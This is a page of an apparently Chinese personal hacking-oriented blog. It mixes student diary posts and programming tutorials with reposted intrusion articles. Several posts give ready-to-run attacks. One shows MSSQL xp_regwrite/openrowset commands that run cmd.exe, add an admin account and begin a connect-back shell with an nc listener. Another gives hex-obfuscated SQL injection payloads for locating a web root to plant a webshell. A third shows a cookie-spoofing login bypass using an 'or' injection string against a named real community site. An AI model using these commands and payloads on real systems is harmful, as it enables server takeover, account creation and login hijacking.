PHP写的类似与PHP木马一样的管理工具

作者:CFC4N 文章性质: 本站原创
写这个程序时`遇到很多困难` ` 宿舍没联网` 没办法查资料`
到学校的图书馆` 翻遍了`就两本PHP+MYSQL的书“
NND 学校真垃圾“ ASP JSP 的书N 多 为什么没PHP 的???
哎“
快考试了,有很多功能没有添加`宿舍也没联网`等下学期来在讲吧““`
编辑的保存功能还没有搞定`但是由于俺上一次网不容易,所以就提前发出来了!
也没什么意思`就是想激励自己吧 [...]

PHP生成静态页面的类

<?php

// ————————————————————————–
// File name : html.class.php
// Description : 生成静态页面的类
// Requirement : PHP5
//
// Copyright(C), 蟋蟀, 2005, All Rights Reserved.
//————————————————————————–

class myHtml{

//生成html文件路径
private $html_dir="./";
//html文件名称
private $html_name;
//生成html文件的位置名称
public $path;
//缓存区内容
private $content;
//文件句柄
private $handle;
//内存指针
private $accesses;
//构造函数
public function __construct($html_dir="",$html_name="")
{
$this->accesses++;
//如果文件路径不存在建立文件夹
if(opendir($html_dir)==0)
{
[...]

无聊…发表两句

郁闷..快两个月没有联网了
.!!!!!快放假了要又准备找工作烦呀!!!
想想明天就要毕业了.准备出去找个.编程的工作也不错..哈哈.
看了.计多 NB们的BLog 心里沉沉得..跟人家的差距太大了.再想想自己什么也不精通..
嘿..简直就是个垃圾..
看来下学期来. 要精通一门咯.
[sweat] [sweat] [sweat]

Quick Easy FTP Server远程缓冲溢出漏洞

受影响版本:
Quick Easy FTP Server 3.91或以下版本
漏洞描述:
Quick Easy FTP Server 是一个FTP服务器端软件,基本实现了标准FTP服务器所具有的功能软件由服务器配置,用户帐户管理,安全性设置,在线用户信息, 服务器日志, 实时数据统计,检查更新几部分组成.因程序在处理超长命令参数时多个命令存在问题,远程攻击者可利用这些问题以程序运行权限执行任意指令。
厂商补丁:
官方并无任何补丁更新,请各位留意官方通告
Bug.Center.Team临时解决方案
暂时停止使用该服务程序,因程序自身存在过多问题。

SA权限仅需xp_regwrite即可有dos shell

SA权限仅需xp_regwrite即可有dos shell
删除xp_cmdshell和xplog70.dll不用担心,只要保留xp_regwrite就可以执行系统命令,拥有一个dos shell
利用RDS的一个老问题,在IIS 4.0的时候被广泛利用,现在好像没多少人想得起来了
绝对比去想办法恢复xp_cmdshell来得经济实惠,不过需要猜一下系统路径
nt/2k: x:\winnt\system32\
xp/2003: x:\windows\system32\
如果有回显,可以看到执行返回结果,否则需要先判断主机OS类型再试
当然如果野蛮一点,四个轮流来一遍也行。
首先开启沙盘模式:
exec master..xp_regwrite ‘HKEY_LOCAL_MACHINE”SOFTWARE\Microsoft\Jet\4.0\Engines”SandBoxMode”REG_DWORD’1
然后利用jet.oledb执行系统命令
select * from openrowset(‘microsoft.jet.oledb.4.0”;database=c:\winnt\system32\ias\ias.mdb’’select shell(“cmd.exe /c net user admin admin1234 /add”)’)
无法连接数据库服务器时(数据库一般不对外开放,但是可以对外访问),
可以使用反弹dos shell方式搞定
====================== CUT here =======================
//name : win32 connect back shell source for nt/2K/xp/2003
//compile : cl win32cbsh.c (vc6)
//usage :
//on your pc : nc -l -p [...]

Win32程序函数调用时堆栈变化情况分析

2006年1月15日09:08星期日 [VC]
在经典的汇编语言教程中,函数调用时堆栈的使用都是着重讲解的问题。如今随着高级语言的越来越完善,单纯使用汇编开发的程序已经不多了。但对函数调用时堆栈动向的了解仍有助于我们明晰程序的执行流程,从而在程序编写和调试的过程中有一个清晰的思路。
一.调用约定
在Win32中,有关函数的调用主要有两种约定。
1._stdcall
以__stdcall方式调用的函数有以下特征:
• 参数由右至左压栈
• 调用返回时,堆栈由被调函数调整
2.__cdecl
__cdecl约定是C/C++函数的默认调用约定。它有以下特征:
• 参数由右至左压栈
• 调用返回时,堆栈由调用者调整
二.Win32函数调用过程
1. 压入参数
这里依据以上的调用方式将调用者给出的参数一一压入堆栈。
2. 压入断点
当程序执行到Call指令的时候,当前语句的地址作为断点地址压入堆栈。
3. 跳转
eip的值被重新设置为被调函数的起始地址。
4. mov ebp, esp
这里ebp被用来在堆栈中寻找调用者压入的参数,同时作为调用者堆栈指针的一个备份。在此前还应该执行一条:
push ebp
把ebp中原来的数值保存。
5. [...]

SQL注入高级技巧

我的目的主要是取得网站的目录,当然了,网站和mssql数据库在一台服务器上,权限DB_owner。
在某官网发现了一个注点,一个’号提示”xxxxxxxxxx’0”出现错误 ” ,经过初步的分析是把单引号,直接转换成了0′,所以如果用工具肯定注入不了,实践证明工具不行,但能检测出来其权限为:DB_owner,手工检测的方法无非是: and 1=(select is_isvrolemember(’sysadmin’))这是简单检测系统权限。还好只是对单引号有限制,其它符号没有限制。不过这一点确实已经够麻烦的了。
  
 我们的目的是检测网站目录在什么地方,如果找到的话,直接差异备份数据库,取得webshell。
  
  首先提取IIS设置初期,网站目录在注册表中的位置,然后再暴出来。
  
建一个表xy,;create table xy(xy1 nvarchar(256) null),然后网表里插入其值,语句如下:
;DECLARE @result varchar(255) EXEC master.dbo.xp_regread ‘HKEY_LOCAL_MACHINE’,’SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots’,’/’,@result output insert into xy (xy1) values(@result)
由于对’单引号的转换,所以上面的命令肯定成功不了,这时我们可以想到再用declare函数,一开始我的做法为把 ‘HKEY_LOCAL_MACHINE’和’,’SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots’和‘/’,这3个数据分别附于3个变量,这样语句构成为:
;DECLARE @a varchar(255) select @a=0×484b45595f4c4f43414c5f4d414348494e45 DECLARE @b varchar(255) select @b=0×53595354454d5c434f4e54524f4c5365743030315c53657276696365735c57335356435c506172616d65746572735c5669727475616c20526f6f7473 DECLARE @c varchar(255) select @c=0×2f DECLARE @result varchar(255) exec master.dbo.xp_regread @a,@b,@c,@result output insert xy(xy1) values(@result)–
没想到根本成功不了,我不清楚这个原因,然后去百度搜索原因,在邪恶八讨论区里看到无敌遇到的情况根我一样,至今还没有讨论出来结果,于是这种方法暂时先放一放,2天以后再得到了一种新方法,也是用declare于一个变量附值,不过这时附的不是某一数据,而是整句。
方法如下:
DECLARE @result varchar(255) EXEC master.dbo.xp_regread ‘HKEY_LOCAL_MACHINE’,’SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual [...]

高手的那份淡然!

自己都觉得这里的水平底的一塌糊涂,当然也包括我自己了,所以我经常也要跑到whnet去问问题,有时候都恨自己怎么这么菜啊。
scz(四哥)说:BBS是不能真正学到东西的,不过这里能开阔人的视野,能得到对大方向的指引,能够了 。
是的,真的是足够了,要不是scz的指引,我不会走这条路的,当时在gznet的BBS上,我也问了好多关于unix network programming的问题,得到好多人的帮助。后来转而学习linux kernel,来到了whnet,主要就是得到scz的帮助,我很感谢他。我想他在教育网内是很成功的,可能带起了一群人。
[color=Blue]自己的成长其实就是生产问题,解决问题的过程。
问题就是在自己不断的学习中产生的,你学习了吗?你努力了吗?你有问题要问吗?
自己付出了多少,就会有多大的收获,这点我有很大很大的体会。[/color]
转了这么多的技术文章,不是为了增加版面,增加人气,完全是给有心人看的,自己要想学,想看才能学进去,看进去。希望他们能在这里得到进阶。
转了这么多的技术文章,只是希望川大的“黑客”(暂且以黑客称之)不要误入
歧途,不要只做被人们称为的脚本小子,要做就做一个白帽(white-hat).
没人敢说自己是黑客,除非他自己知道他在说什么。所以我也没有用黑客这个词.
我做这里的斑竹的目的不是来一个人撑起一个版的,只是为了上面的几点。
今天又去了linuxforum,颇有感触,如果你也在linux kernel hack(也许你会对hack
这词误会),如果你看过linux的源代码就不会觉得奇怪了)话,
去http://www.linuxforum.net/cgi-bin/perl/postlist.pl?Cat=&Board=linuxK
感受感受真正做学问的气氛吧。
有必要大家来重温一下四哥那篇《你尽力了吗》。
看看真正高手的那份淡然吧
发信人: cloudsky (小四), 信区: Security
标 题: 你尽力了吗
发信站: 武汉白云黄鹤站 (Mon Apr 17 19:52:54 2000), 站内信件
很多人问如何入门如何入门,我却不知道要问的是入什么门。很少把某些好文章耐心从头看完,我这次就深有体会。比如袁哥的sniffer原理,一直以为自己对sniffer原理很清楚的,所以也就不曾仔细看过袁哥的这篇。后来有天晚上和袁哥讨论,如何通过端口读写直接获取mac地址,为什么antisniff可以获得真正的mac地址,而不受更改mac地址技术的影响,如何在linux下获得真正的mac地址。我一直对linux下的端口读写心存疑虑,总觉得在保护模式下的端口都做了内存映象等等。结果袁哥问了我一句,你仔细看我写的文章没有,我楞,最近因为要印刷月刊,我整理以前的很多文档, 被迫认真过滤它们,才发现袁哥的文章让我又有新认识。再后来整理到tt的几篇缓冲区溢出的,尤其是上面的关于Solaris可装载内核模块,那就更觉得惭愧了。
以前说书非借不能读,现在是文章留在硬盘上却不读。其实本版已经很多经典文章了,也推荐了不少经典书籍了,有几个好好看过呢。W.Richard.Stevens的UNP我算是认真看过加了不少旁注,APUE就没有那么认真了,而卷II的一半认真看过,写过读书笔记,卷III就没有看一页。道格拉斯的卷I、卷III是认真看过几遍,卷II就只断续看过。而很多技术文章,如果搞到手了就懒得再看,却不知道这浪费了多少资源,忽略了多少资源。BBS是真正能学到东西的地方吗?rain说不是的,我说也不是的。不过这里能开阔人的视野,能得到对大方向的指引,足够了。我一直都希望大家从这里学到的不是技术本身,而是学习方法和一种不再狂热的淡然。很多技术,明天就会过时,如果你掌握的是学习方法,那你还有下一个机会,如果你掌握的仅仅是这个技术本身,你就没有机会了。其实我对系统安全是真不懂,因为我一直都喜欢看程序写程序却不喜欢也没有能力攻击谁谁的主机/站点。我所能在这里做的是,为大家提供一个方向,一种让你的狂热归于淡然的说教。如果你连、< win9x系统编程>都没有看过,却要写个什么隐藏自己的木马,搞笑。如果你看都不看汇编语言,偏要问exploit code的原理,那我无法回答也不想回答你。总有人责问,要讨个说法纭纭,说什么提问却没有回答。不回答已经是正确的处理方式了,至少没有回你一句,看书去,对不对,至少没有扰乱版面让你生闷气。Unix的man手册你要都看完了, 想不会Unix都不行了。微软的MSDN、Platform SDK DOC你要看完了,你想把Win编程想象得稍微困难点都找不到理由。还是那句话,一个程序员做到W.Richard.Stevens那个份上,做到逝世后还能叫全世界的顶级hacker们专门著文怀念,但生前却不曾著文攻击,想想看,那是一种什么样的境界,那是一份什么样的淡然。我们可以大肆讨论技术问题,可以就技术问题进行激烈的卓有成效的讨论,却无意进行基础知识、资源信息的版面重复。我刚在前面贴了一堆isbase的文章,开头就是主页标识,却在后面立刻问什么主页在哪里?前面刚刚讨论过如何修改mac地址,后面马上又来一个,前后
相差不过3篇文章。选择沉默已经是很多朋友忍耐力的优异表现了。很多东西都是可以举一反三的。vertex的lids,被packetstorm天天追踪更新,你要是看了THC的那三篇,觉得理解一个就理解了一堆,都是内核模块上的手脚。
[color=Blue]你不看你怎么知道。
我不想在这里陷入具体技术问题的讨论中去,你要是觉得该做点什么了,就自己去看自己去找。
没有什么人摆什么架子,也没有什么人生来就是干这个的。
你自己问自己,尽力了吗?[/color]

在PHP中执行系统外部命令

PHP作为一种服务器端的脚本语言,象编写简单,或者是复杂的动态网页这样的任务,它完全能够胜任。但事情不总是如此,有时为了实现某个功能,必须借助于操作系统的外部程序(或者称之为命令),这样可以做到事半功倍。
  那么,是否可以在PHP脚本中调用外部命令呢?如果能,如何去做呢?有些什么方面的顾虑呢?相信你看了本文后,肯定能够回答这些问题了。
  是否可以?
  答案是肯定的。PHP和其它的程序设计语言一样,完全可以在程序内调用外部命令,并且是很简单的:只要用一个或几个函数即可。
  前提条件
  由于PHP基本是用于WEB程序开发的,所以安全性成了人们考虑的一个重要方面。于是PHP的设计者们给PHP加了一个门:安全模式。如果运行在安全模式下,那么PHP脚本中将受到如下四个方面的限制:
  执行外部命令
  在打开文件时有些限制
  连接MySQL数据库
  基于HTTP的认证
  在安全模式下,只有在特定目录中的外部程序才可以被执行,对其它程序的调用将被拒绝。这个目录可以在php.ini文件中用safe_mode_exec_dir指令,或在编译PHP是加上–with-exec-dir选项来指定,默认是/usr/local/php/bin。
  如果你调用一个应该可以输出结果的外部命令(意思是PHP脚本没有错误),得到的却是一片空白,那么很可能你的网管已经把PHP运行在安全模式下了。
  如何做?
  在PHP中调用外部命令,可以用如下三种方法来实现:
  1) 用PHP提供的专门函数
  PHP提供共了3个专门的执行外部命令的函数:system(),exec(),passthru()。
  system()
  原型:string system (string command [, int return_var])
  system()函数很其它语言中的差不多,它执行给定的命令,输出和返回结果。第二个参数是可选的,用来得到命令执行后的状态码。
  例子:
 

  exec()
  原型:string exec (string command [, string array [, int return_var]])
  exec()函数与system()类似,也执行给定的命令,但不输出结果,而是返回结果的最后一行。虽然它只返回命令结果的最后一行,但用第二个参数array可以得到完整的结果,方法是把结果逐行追加到array的结尾处。所以如果array不是空的,在调用之前最好用unset()最它清掉。只有指定了第二个参数时,才可以用第三个参数,用来取得命令执行的状态码。
  例子:
  

  passthru()
  原型:void passthru (string command [, int return_var])
  passthru()只调用命令,不返回任何结果,但把命令的运行结果原样地直接输出到标准输出设备上。所以passthru()函数经常用来调用象pbmplus(Unix下的一个处理图片的工具,输出二进制的原始图片的流)这样的程序。同样它也可以得到命令执行的状态码。
  例子:
  

 
 2) 用popen()函数打开进程
  上面的方法只能简单地执行命令,却不能与命令交互。但有些时候必须向命令输入一些东西,如在增加Linux的系统用户时,要调用su来把当前用户换到root才行,而su命令必须要在命令行上输入root的密码。这种情况下,用上面提到的方法显然是不行的。
  popen()函数打开一个进程管道来执行给定的命令,返回一个文件句柄。既然返回的是一个文件句柄,那么就可以对它读和写了。在PHP3中,对这种句柄只能做单一的操作模式,要么写,要么读;从PHP4开始,可以同时读和写了。除非这个句柄是以一种模式(读或写)打开的,否则必须调用pclose()函数来关闭它。
  例子1:
  

  例子2(本例来自PHP中国联盟网站http://www.phpx.com/show.php?d=col&i=51):
  

  3) 用反撇号(`,也就是键盘上ESC键下面的那个,和~在同一个上面)
  这个方法以前没有归入PHP的文档,是作为一个秘技存在的。方法很简单,用两个反撇号把要执行的命令括起来作为一个表达式,这个表达式的值就是命令执行的结果。如:
  

The Principle Of Cookies Spoof

现在有很多社区网为了方便网友浏览,都使用了cookie技术以避免多次输入密码(就如the9和vr),所以只要对服务器递交给用户的cookie进行改写就可以达到欺骗服务程序的目的。

COOKIE欺骗原理
按照浏览器的约定,只有来自同一域名的cookie才可以读写,而cookie只是浏览器的,对通讯协议无影响,所以要进行cookie欺骗可以有多种途径:
1、跳过浏览器,直接对通讯数据改写
2、修改浏览器,让浏览器从本地可以读写任意域名cookie
3、使用签名脚本,让浏览器从本地可以读写任意域名cookie(有安全问题)
4、欺骗浏览器,让浏览器获得假的域名
其中:
方法1、2需要较专业的编程知识,对普通用户不太合适。
方法3的实现有2种方法:
1、直接使用签名脚本,不需要签名验证,但是产生很严重的安全问题,因为大家都要上网的,如果这样做你的硬盘文件就……
2、对脚本进行签名后再使用签名脚本,但是需要专用的数字签名工具,对普通用户也不合适。
方法4看样子应该是最合适的了,域名欺骗很简单,也不需要什么工具(当然如果你的机器装有web服务器那更好了),下面我以the9为例,以这种方法为基础,阐述一下cookie欺骗的过程(下文中提到的任何服务端的bug,the9都已经做了改进,所以本文对the9无安全方面的影响):

注:我们讨论的cookie是那种不会在硬盘的cookie文件里留下踪迹的cookie,就是那种只在浏览器生存周期内(会话)产生的cookie,如果浏览器关闭(会话结束)那么这个cookie就被删了! 

COOKIE欺骗实战
the9在登陆的时候会返回3个cookie(这可把浏览器的警告cookie选项打开时看到):
cgl_random(随即序列号):登陆识别的记号
cgl_loginname(登陆名):身份的识别记号
cgl_areaid(小区号):你居住的小区号码
只要把cgl_loginname填入正确的登陆名,再对cgl_random进行修改,就可以达到欺骗服务程序的目的。

一般欺骗php程序的字符串为:
1”or”1”=”1
把这个填入cgl_random,服务程序就被欺骗了!
因为服务程序不太可能对cookie进行语法检查(the9现在改进了),那么把这个字符串填入,就可以成功的欺骗对方程序,而达到突破的目的了!

现在的问题是,如何使浏览器把这个我改过的cookie返回给the9?
看一看the9的域名吧:http://www.the9.com/ ,而浏览器的cookie警告已经告诉了我们这3个cookie会返回给有.the9.com这个域名的服务器,哎?我的机器上正好有web服务器,那么动手吧!
先编一个设置cookie的html,就叫cookie.htm吧,然后把这个cookie放进web目录,这样还不行,因为我的机器的域名没设,那么设置host的名字,可是如果在网络设置中进行设置的话,机器要重启动的,还是想想别的简单的办法吧!
然后我们应该编辑hosts文件,这个文件应该在windows目录下,你有可能找不到它,但是如果你找到了hosts.sam文件,那么把它后面的扩展名去掉,就是我们要的文件了!
编辑hosts文件,填入以下一行:
127.0.0.1 www0.the9.com
解释一下,127.0.0.1是本机的lo地址,可以用做web地址,而www0.the9.com就是我们欺骗产生的域名。
然后在浏览器中输入http://www0.the9.com/cookie.htm ,看,页面出来了,快设置cookie吧!
直接访问http;//www.the9.com/main.htm 看看,不错吧!

但是不是所有的网友都有自己的web服务器啊!那怎么办呢?
其实如果你有个人主页的话,也可以达到cookie欺骗的目的,比如某个个人主页的服务器的ip地址是1.2.3.4,先上传cookie.htm文件,再编辑hosts文件:
1.2.3.4 www0.the9.com
然后访问http://www0.the9.com/***/cookie.htm ,其中***是你个人主页的地址目录。

对了我作了个工具在我的主页上,现在公开一下,http://home.etang.com/fsl/9the/ ,大家知道该怎么做了吧?嘿嘿,不过你那样设置是没有用的,要这样编辑hosts:
etang的ip www.the9.com
the9的ip www0.the9.com
为什么要这样呢?我等会会告诉大家的

继续the9的cookie讨论,还有2个cookie:
cgl_mainshowinfo(个人信息)
cgl_showinfo_changed(意义不知)
由于第二个cookie不知道是什么,所以就讨论第一个。
第一个cookie存放着你在the9的名字、称号、居住的小区、街道、是否有工作、星级、门牌号等的信息(目前只知道这些,其余的信息不知其意义,具体格式就让给大家去分析了),但是中文都escape过了,如果你用的不是netscpae而是ie的话,不能用unescape得知其信息,因为ie对双字节采用unicode而不采用ascii,如果哪天the9也支持unicode就好了!:),但是其他网站站长注意了,你们可通过cgi的形式把这些the9居民信息抓过来实现数据共享!哈哈……,如果你们真要这么做,就只有使用签名脚本了,总不能让别人编辑hosts吧(不过得注意版权哦!)? 阿

ie的cookie漏洞:
如果你用的是ie的话,由于ie本身的漏洞,你大可不必编辑hosts,就可以同样做到读写别的域名的cookie,你可以使用以下的方法欺骗ie(具体的可以去 www.cookiecentral.com 看看):
假设你的主页文件为http://a.com/cookie.htm ,
使用以下url: http://a%2Ecom%2Fcookie%2Ehtm%3F.the9.com
如果直接输在浏览器地址栏里不行,就作个script,把location的值设为这个就可以了!
这个地址转换后应该是这样的: http://a.com/cookie.htm?.the9.com
由于ie的bug,误把前面那个的域名以为是.the9.com 了!

hosts文件解释
hosts文件实际上可以看成一个本机的dns系统,它可以负责把域名解释成ip地址,它的优先权比dns服务器要高,它的具体实现是TCP/IP协议中的一部分。
如果有这么一行:
202.109.110.3 www.the9.com
那么在输入www.the9.com时,网络协议会首先检查hosts文件找到匹配的,如果找不到再去dns查,这样你访问www.the9.com实际上是访问202.109.110.3,而不是通常的202.109.110.2。
注:由于缓存的作用,如果开着浏览器编辑hosts的话,hosts里的内容有可能不会当场生效,你可以重新启动浏览器或等一会时间再试一下!

关于REFERER的欺骗(这个虽然不属于cookie欺骗,但是懒得再写一篇,就归在一起了)
referer是http头,它的作用是签定用户是从何处引用连接的,在the9,服务程序就充分利用了这一点,如过你是手动输入url的话,那么referer不会设任何值,服务程序就返回什么“投机取巧”的字样!
由于我们前面对浏览器进行了域名欺骗,那么referer也被欺骗了,但是服务程序对referer是整个主机名检查,所以www0.the9.com的域名就欺骗不了服务器,所以得用www.the9.com欺骗,那么还得设一个域名方便我们访问the9,而且还得让cookie返回给这个真的the9,那么就用www0.the9.com吧!(这回知道前面访问我主页工具时要那样编辑hosts了吧?)
如果你用了这个方法的话,那么你就不能直接点击the9的连接,而得用工具中的地址欺骗来进行访问,至于这样做的好处,大家自己找找吧,我就不想详细说了,太累了!

关于netvampire:
这个下载工具大家都知道吧?那么它的3.3版大家用过吗?很棒的!因为它可以直接让大家改变下载连接的referer,而且它还能继承浏览器的cookie,把cookie返回给服务端(不过cookie不能改,如果能改的话,这个工具就太………………)

后记
好了关于cookie及referer就说到这了,在这个星期以前利用cookie欺骗的话the9的门户可是大开的(当然似乎还有通用密码什么的),不过the9虽然改进了,我不能保证其他社区网也改进了,当然本文只是探讨技术,不负什么法律责任。

第 19 页,共 21 页« 最新...101718192021